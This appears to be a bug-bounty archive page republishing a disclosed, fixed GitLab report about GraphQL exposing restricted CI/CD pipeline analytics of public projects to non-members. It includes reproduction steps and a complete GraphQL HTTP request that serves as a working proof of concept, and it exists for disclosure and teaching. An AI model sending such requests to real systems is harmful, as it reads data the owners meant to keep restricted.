Skip to content
Access control Disclosed report Beginner

CI/CD analytics are exposed through graphql for the public projects with analytics setting set to only project members.

A public project with analytics restricted to project members still exposed CI/CD and pipeline analytics through GraphQL to non-members. An attacker could query the GraphQL API to view pipeline counts and statistics that should have been hidden.

GitLab

Originally disclosed on GitLab

  • Fixed in 34 days
  • Disclosed after 34 days

HackerOne report #1103307 by albatraoz on 2021-02-14, assigned to @rchan-gitlab:

Report | How To Reproduce

Report

Summary

When a public project has set the analytics setting set to only project members, the whole analytics section of the pages is not visible to the non members on the UI. But due to some access control issue in graphql, non members can access the ci/cd & pipeline analytics easily.

Steps to reproduce

  1. Create a public project.
  2. Go to project settings > General > Visibility, project features, permissions > Set Analytics to only project members.
  3. Open another non member account & try to access the analaytics page of the above project, you will be greeted with 404 page not found.
  4. Now send the below request:
POST /api/graphql HTTP/1.1  
Host: gitlab.com  
Connection: close  
Content-Length: 1073  
sec-ch-ua: "Chromium";v="88", "Google Chrome";v="88", ";Not A Brand";v="99"  
accept: */*  
X-CSRF-Token:   
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
content-type: application/json  
Origin: https://gitlab.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie:

[{"operationName":"getPipelineCountByStatus","variables":{"projectPath":"[PROJECT_PATH]"},"query":"query getPipelineCountByStatus($projectPath: ID!) {\n  project(fullPath: $projectPath) {\n    totalPipelines: pipelines {\n      count\n      __typename\n    }\n    successfulPipelines: pipelines(status: SUCCESS) {\n      count\n      __typename\n    }\n    failedPipelines: pipelines(status: FAILED) {\n      count\n      __typename\n    }\n    __typename\n  }\n}\n"},{"operationName":"getProjectPipelineStatistics","variables":{"projectPath":"[PROJECT_PATH]"},"query":"query getProjectPipelineStatistics($projectPath: ID!) {\n  project(fullPath: $projectPath) {\n    pipelineAnalytics {\n      weekPipelinesTotals\n      weekPipelinesLabels\n      weekPipelinesSuccessful\n      monthPipelinesLabels\n      monthPipelinesTotals\n      monthPipelinesSuccessful\n      yearPipelinesLabels\n      yearPipelinesTotals\n      yearPipelinesSuccessful\n      pipelineTimesLabels\n      pipelineTimesValues\n      __typename\n    }\n    __typename\n  }\n}\n"}]  

You would be able to see the CI/CD analytics in the reponse.

What is the current bug behavior?

The CI/CD analytics is accessible through graphql due to access control issues to non members of a public project with analytics setting set to only project members.

What is the expected correct behavior?

The CI/CD analytics should not be accessible through UI, Rest APIs or graphql to non members of a public project with analytics setting set to only project members.

Impact

A non member of a public project i.e any user could be able to access information & analytics related to CI/CD & pipelines even If they are not authorized to do so.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the GraphQL API did not enforce the project's analytics visibility setting, allowing non-members to access data that should be restricted.

Impact

Any user, even non-members, could access CI/CD and pipeline analytics of a public project that should be restricted to project members.

What the attacker needed

A public project; analytics set to only project members; a non-member account

How it was found

  1. Create a public project.
  2. Set Analytics to only project members in project settings.
  3. As a non-member, try to access the analytics page and observe a 404 error.
  4. Send a GraphQL request to /api/graphql with queries for pipeline counts and statistics.
  5. Observe the CI/CD analytics in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A public project on GitLab can hide its analytics from non-members. However, the GraphQL API did not check this restriction, so anyone could ask for the analytics data directly and get it.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.